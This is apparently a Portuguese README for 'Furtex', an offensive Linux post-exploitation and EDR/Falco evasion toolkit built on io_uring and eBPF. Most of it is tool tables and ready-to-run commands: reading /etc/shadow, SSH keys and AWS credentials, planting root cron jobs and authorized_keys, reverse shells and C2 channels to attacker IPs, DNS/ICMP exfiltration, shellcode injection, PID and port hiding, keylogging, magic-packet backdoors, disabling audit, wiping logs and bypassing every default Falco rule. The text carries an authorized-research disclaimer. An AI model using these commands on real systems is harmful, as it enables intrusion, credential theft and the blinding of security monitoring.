Furtex

Kit de ferramentas de pesquisa pós-exploração e evasão para Linux, construído em torno de io_uring e eBPF. Sem liburing, sem frameworks, syscalls puros em todo o código.

Mais ferramentas em breve. PRs são bem-vindos. 🇧🇷

Junte-se aos Pesquisadores de Rootkit

https://discord.gg/66N5ZQppU7

Apenas para pesquisa autorizada e engajamentos de red team. Não execute isso em sistemas que não são seus.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Requisitos

**Ferramentas**

| ferramenta | necessário para |
|---|---|
| `gcc` | todos os binários de espaço do usuário |
| `clang` | programas do lado BPF `ebpf/*.bpf.c` |
| `make` | sistema de compilação |

**Cabeçalhos e bibliotecas**

| pacote | necessário para |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` e cabeçalhos do kernel relacionados |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` e afins usados nos programas `ebpf/` |
| `bpftool` | gerar `vmlinux.h` via `make vmlinux` dentro de `ebpf/` |

No Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versões do kernel

Capacidades

BTF deve estar habilitado no kernel (CONFIG_DEBUG_INFO_BTF=y) para executar make vmlinux para programas ebpf/.

Em distribuições com cabeçalhos libc-dev mais antigos (Ubuntu 22.04 etc.) você pode precisar de #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Já tratado neste repositório.

Compilação

edrs/ tem seu próprio sub-Makefile com ~75 binários divididos por privilégio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

Veja [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) para a descrição completa.

## Cobertura de bypass do io_uring

As SQEs do io_uring passam pela workqueue do kernel. `io_uring_enter(2)` nunca chama através de `sys_call_table`, nunca dispara tracepoints `sys_enter_*` e nunca atinge livepatch em `native_sys_call`. Isso sozinho elimina uma grande classe de hooks de EDR sem tocar em nada.

O que o io_uring contorna por si só:

| ponto de hook | nota |
|---|---|
| substituição do ponteiro de `sys_call_table` | io_uring nunca passa pela tabela de syscalls |
| livepatch em `native_sys_call` / `compat_sys_call` | mesma razão |
| tracepoints `sys_enter_*` | caminho da workqueue, nenhum tracepoint dispara |

O que o io_uring NÃO contorna por si só (necessita de uma ferramenta ativa):

| ponto de hook | ferramenta | o que a ferramenta faz |
|---|---|---|
| kprobes em `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | remove os hooks de kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | desanexa o link BPF |
| Linux audit | `audit_kill` | desativa auditd via NETLINK_AUDIT |
| patches LD_PRELOAD / PLT-GOT | `plt_unhook` | remove os hooks do espaço do usuário |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET na camada 2, pula o netfilter |
| hooks `inet_stream_connect` | `udp_shell` | usa UDP, nunca chama o caminho de connect TCP |

## io_uring/

`iouring_utils.h` lida com a configuração do ring sem liburing.

| binário | o que faz |
|---|---|
| `file_read` | cadeia OPENAT+READ+CLOSE via io_uring, sem evento sys_enter_read |
| `file_write` | cadeia OPENAT+WRITE+CLOSE |
| `file_append` | mesmo que file_write mas com O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV em um único ring |
| `net_reverse_shell` | reverse shell sobre CONNECT do io_uring |
| `multifile_read` | até 64 arquivos em um lote de SQE |
| `memfd_exec` | transmite ELF via stdin para memfd, execve via /proc/self/fd |
| `proc_inject` | injeção JIT via /proc/PID/mem; injeção ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE kernel-para-kernel, hooks do espaço do usuário nunca veem os bytes |
| `inotify_bypass_watch` | READ do io_uring não gera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica dados em hex como labels de consulta DNS via io_uring SENDMSG |
| `af_packet_send` | Ethernet bruta via AF_PACKET (IORING_OP_SOCKET, contorna caminho inet) |
| `xdp_socket_send` | frame bruto via AF_XDP + UMEM ring, contorna netfilter completamente |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

A maioria das ferramentas requer CAP_BPF. env_exfil funciona sem privilégios. icmp_trigger requer CAP_NET_RAW em vez de CAP_BPF.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

## ebpf/

Requer clang + libbpf + vmlinux.h. Execute `make vmlinux` dentro de `ebpf/` para gerar a partir do BTF do kernel em execução.

| arquivo | o que faz |
|---|---|
| `exec.bpf.c` | tracepoint em sys_enter_execve |
| `fentry_open.bpf.c` | tracepoint em sys_enter_openat |
| `creds.bpf.c` | rastreia openat+read em caminhos de credenciais |
| `keylog.bpf.c` | tracepoint de evento de entrada, captura bruta de keycode |
| `net.bpf.c` | registro de sys_enter_connect |
| `net_hide.bpf.c` | oculta portas de /proc/net/tcp e /proc/net/udp |
| `proc_hide.bpf.c` | oculta PIDs da saída de getdents64 |
| `tty_sniff.bpf.c` | captura escritas e leituras de stdin/stdout/stderr |
| `skf_c2_runner.c` | ICMP C2 via filtro de socket BPF clássico |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | gatilho XDP em pacote UDP mágico |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

## techniques/ (bypass do Falco)

Visa o conjunto de regras padrão do Falco (`modern_ebpf` driver, 25 regras). Execute `edrs/edr_recon` primeiro.

Eixo de bypass A: impedir o evento de chegar ao Falco (io_uring ignora `sys_enter_*`, ringbuf drain descarta eventos silenciosamente).
Eixo de bypass B: evento chega ao Falco mas a condição da regra não corresponde (proc.name spoof, path pivot, flags alternativas).

| ferramenta | eixo | regras do Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Contribuindo

Abra um PR. Ferramentas de propósito único, syscalls diretos, sem novas dependências.

Legal

Este projeto é destinado estritamente à pesquisa em segurança, testes de penetração autorizados, competições CTF e desenvolvimento de ferramentas defensivas. Todas as técnicas demonstradas aqui estão documentadas em pesquisas de segurança públicas e na documentação do kernel.

Não use este kit de ferramentas contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para testar. O uso não autorizado pode violar o Computer Fraud and Abuse Act (CFAA), a Diretiva da UE sobre Ataques contra Sistemas de Informação e leis equivalentes em sua jurisdição.

Os autores não assumem nenhuma responsabilidade pelo uso indevido. Ao usar este software, você concorda que é o único responsável pelo cumprimento das leis aplicáveis.

5.4	base io_uring (`IORING_FEAT_SINGLE_MMAP`, iteração de mapa BPF)
5.6	`IORING_OP_OPENAT`, `IORING_OP_STATX`, `pidfd_getfd` (`pidfd_steal`)
5.8	divisão `CAP_BPF` + `CAP_PERFMON` (substitui `CAP_SYS_ADMIN` para BPF)
5.9	`BPF_LINK_DETACH` (`bpf_link_detach`)
5.19	`IORING_OP_SOCKET` (`af_packet_send`, `dns_exfil`, `xdp_socket_send`, `bpf_kprobe_bypass`)

`CAP_BPF` (ou `CAP_SYS_ADMIN` pré-5.8)	todas as ferramentas `bpf/`, carregadores `ebpf/`
`CAP_PERFMON`	programas tracepoint e kprobe `ebpf/`
`CAP_NET_RAW`	`icmp_tunnel`, `af_packet_shell`, `skf_c2_runner`, `icmp_trigger`
`CAP_NET_ADMIN`	`xdp_socket_send`, `netfilter_flush`
`CAP_AUDIT_CONTROL`	`audit_kill`

`make all`	tudo
`make uring`	apenas io_uring/
`make bpf`	ferramentas de espaço de usuário bpf/
`make ebpf`	programas do lado BPF (precisa de clang + libbpf)
`make edrs`	todos os binários edrs/
`make techniques`	ferramentas de bypass do Falco
`make clean`	remove todos os binários

`map_recon`	listar todos os mapas BPF carregados
`map_dumper`	despejar conteúdo do mapa por ID
`map_write`	atualizar entradas do mapa por ID
`map_poison`	zerar entradas `interesting_sys` do Falco ao redor de um payload
`prog_recon`	listar programas BPF: tipo, nome, contagem de mapas
`pid_allowlist`	inserir PID em um mapa de lista de permissões de EDR
`edr_fin`	pontuar mapas/programas BPF carregados em relação a heurísticas conhecidas de EDR
`lsm_check`	detectar hooks LSM BPF ativos e testar se gravações de mapa estão bloqueadas
`bpf_persist`	fixar/recuperar/desfixar mapas e programas no bpffs
`map_snapshot`	salvar e restaurar conteúdo do mapa em um arquivo binário
`env_exfil`	ler /proc/*/environ em busca de segredos
`bpf_link_detach`	enumerar e destacar links BPF (remove hooks LSM)
`link_update`	redirecionar um link BPF para um programa no-op (o hook permanece visível, não dispara nada)
`map_freeze`	congelar um mapa BPF como somente leitura via `BPF_MAP_FREEZE` (gravações retornam -EPERM)
`icmp_trigger`	backdoor de pacote mágico ICMP; gera shell reverso via relay socketpair; disfarça como `kworker/u4:2`
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>

`edr_recon`	sim	detector de EDR de 12 fornecedores: processos, artefatos, módulos, BPF, kprobes
`bpf_prog_recon`	sim	enumerar programas BPF carregados, mapas e kprobes
`bpf_map_wipe`	sim	limpar entradas de mapas BPF
`bpf_detach_all`	sim	desanexar todos os links BPF
`tetragon_blind`	sim	escanear, congelar, descongelar, matar ou cegar processos Tetragon/Falco
`ftrace_enum`	sim	enumerar e limpar hooks kprobe/ftrace
`lkm_unload`	sim	descarregar módulos do kernel
`lkm_inline_detect`	sim	detectar hooks inline do kernel
`perf_bpf_kill`	sim	enumerar e matar programas BPF de evento perf do Falco
`module_recon`	sim	enumerar módulos do kernel
`cgroup_freeze`	sim	congelar/descongelar processo via cgroup v2
`oom_cage`	sim	definir oom_score_adj para si mesmo ou alvo
`sysctl_blind`	sim	ler/escrever sysctls relevantes para segurança
`audit_kill`	sim	desabilitar/reduzir audit do Linux via NETLINK_AUDIT
`inotify_exhaust`	sim	consumir todas as watches do inotify
`netfilter_flush`	sim	limpar chains do netfilter
`dmesg_wipe`	sim	limpar buffer do ring do kernel
`ld_so_preload`	sim	manipular /etc/ld.so.preload
`proc_hide`	sim	ocultar /proc/PID via bind-mount
`mount_over`	sim	bind-mount sobre caminhos arbitrários
`log_wipe`	sim	truncar arquivos de log e histórico do shell
`elf_infect`	sim	injeção de parasita PT_NOTE em PT_LOAD
`proc_mem_inject`	sim	pwrite em /proc/PID/mem, sem attach ptrace
`af_packet_shell`	sim	C2 Ethernet bruto contornando a saída do netfilter
`icmp_tunnel`	sim	exfiltração via payload de echo-request ICMP
`event_flood`	sim	inundação de eventos ao redor do payload para saturar o monitor
`livepatch_bypass`	sim	io_uring passando pelos hooks livepatch no dispatcher de syscall
`livepatch_stack_blind`	sim	desabilitar livepatch + BPF kprobe + pilha de hooks netfilter; descarregamento de módulo via spoofing de comm
`lsm_authlink_blind`	sim	desabilitar fluxos auth-link do LSM, congelar ou matar agente de autenticação, escrever via troca de inode
`lsm_callback_bypass`	sim	contornar callbacks do LSM via pidfd_getfd, process_vm_writev, attach perf+BPF, nova netns
`bpf_fim_blind`	sim	congelar sensor FIM BPF, limpar entradas do mapa ring-buffer, inundar ringbuf
`syscall_dispatch_bypass`	sim	operações de arquivo/rede via io_uring contornando kprobes no dispatch de syscall e livepatch do_syscall_64
`bpf_kprobe_bypass`	sim	operações de arquivo/rede/exec via io_uring contornando alvos kprobe _x64_sys*
`ptrace_inject_so`	sim	carregar .so em processo ativo via ptrace + dlopen
`uring_stealth`	não	operações de arquivo/rede via io_uring, sem eventos sys_enter_*
`openat2_bypass`	não	syscalls alternativas (openat2, copy_file_range)
`ptrace_selfguard`	não	bloquear ptrace externo via processo guardião
`plt_unhook`	não	detectar e contornar hooks PLT-GOT via dlmopen
`fexecve_drop`	não	ELF em memfd, execve via /proc/self/fd
`memfd_loader`	não	carregar .so via memfd, construtor chamado
`memfd_userexec`	não	ELF da stdin em memfd, execve via /proc/self/fd
`hollow_proc`	não	hollowing de processo com nome fictício no ps
`argv_spoof`	não	renomear comm via prctl(PR_SET_NAME) e sobrescrita argv[0]
`clone_netns`	não	exec em namespace de rede não privilegiado
`ns_exec`	não	unshare de namespaces user/pid/mount
`splice_c2`	não	C2 TCP usando splice(2) para transferência de dados; hooks send/recv nunca disparam
`abstract_sock_c2`	não	C2 sobre socket Unix abstrato
`udp_shell`	não	reverse shell UDP, contorna inet_stream_connect
`tls_shell`	não	reverse shell por trás de falso ClientHello TLS
`dns_exfil_raw`	não	codificar dados em hex como labels de consulta DNS
`pidfd_steal`	não	roubar fds abertos de outros processos via pidfd_getfd
`vma_hide`	não	ciclo RWX para PROT_NONE, MADV_DONTDUMP, renomeação VMA
`coredump_block`	não	bloquear core dumps via filter/dumpable/rlimit
`seccomp_notify`	não	interceptar syscalls via SECCOMP_USER_NOTIF
`ipc_covert`	não	C2 sobre mqueue POSIX
`shared_mem_c2`	não	C2 sobre shm POSIX, sem tráfego de rede
`pipe_exfil`	não	exfiltração via splice(2), hooks LD_PRELOAD cegos
`proc_fd_scan`	não	escanear symlinks /proc/PID/fd por caminhos sensíveis
`proc_vm_inject`	não	process_vm_writev, sem abrir /proc/PID/fd
`self_delete`	não	deletar próprio binário do disco enquanto executa
`time_stomp`	não	clonar/zerar/definir atime+mtime
`userland_persist`	não	bashrc/crontab/autostart/authorized_keys
`env_scrape`	não	ler /proc/*/environ por segredos e sockets SSH
`anon_shellcode`	não	shellcode em MAP_ANONYMOUS, sem arquivo, sem execve
`ld_preload_inject`	não	largar .so, injetar via LD_PRELOAD
`ssh_agent_hijack`	não	falar protocolo do agente para socket capturado
`fanotify_bypass`	não	memfd/anon-mmap/devshm para evitar marcas fanotify
`ringbuf_flood`	não	saturar ringbuf BPF para descartar eventos
`log_evasion`	não	operações de arquivo via io_uring e shell TCP raw-syscall, sem wrappers libc
`syscalltable_bypass`	não	io_uring passando hooks de ponteiro sys_call_table
`uring_recon_unpriv`	não	credenciais, chaves, conexões via leitura io_uring
`fd_steal_read`	não	roubar fds via pidfd_getfd, ler sem próprio open()
`mmap_read`	não	ler arquivos via mmap, sem syscall read()
`scm_rights_exfil`	não	passar fd via SCM_RIGHTS, ler sem próprio open()
`splice_read`	não	ler via splice(2), sem buffer de userspace
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps

1 Leitura de arquivo monitorada por travessia de diretório	io_uring OPENAT	`uring_ops cat`, `per_rule_bypass dir-traversal`
3 Leitura de arquivo sensível não confiável	io_uring or prctl	`uring_ops creds`, `bypass_file_rules read-masked`
4 Execução de shell não confiável	python3/perl em vez de sh	`rule_evade unusual-shell`
6 Shell de terminal em contêiner	setsid, proc.tty=0	`bypass_proc_rules shell-notty`
7 Contatar API Server do K8S	io_uring CONNECT	`uring_ops shell`, `per_rule_bypass k8s-connect`
8 RCE via Netcat	C binary, proc.name != nc/ncat	`bypass_proc_rules reverse-shell`
9 Buscar chaves privadas	open+read em C, sem grep/find	`bypass_file_rules grep-bypass`
10 Limpar atividades de log	ftruncate sem O_TRUNC	`bypass_file_rules log-clear`
11 Remover dados em massa	write loop, sem shred/mkfs	`bypass_file_rules wipe`
15 Redirecionar STDOUT/STDIN para a rede	fcntl F_DUPFD em vez de dup2	`bypass_proc_rules reverse-shell`
18 Detectar escape via release_agent	io_uring OPENAT+WRITE para release_agent	`cgroup_escape proof/shell`, `uring_ops write`
19 PTRACE anexado ao processo	/proc/PID/mem or process_vm_writev	`bypass_proc_rules proc-inject`
20 Tentativa de anti-debug via PTRACE	Verificação de TracerPid via /proc/self/status	`bypass_proc_rules anti-debug`
22 Execução a partir de /dev/shm	exec a partir de /run/user/uid/ em vez disso	`bypass_proc_rules run-safe`
25 Execução sem arquivo via memfd_create	shellcode via mmap, sem execve	`exe_from_memfd_bypass sc`, `proc_ghost ghost-sc`
all	drenar ringbuf ou remover scap.ko	`ringbuf_overflow`, `kmod_unload`

Furtex

Mais Populares

Furtex

Compilação

bpf/

edrs/

Contribuindo

Legal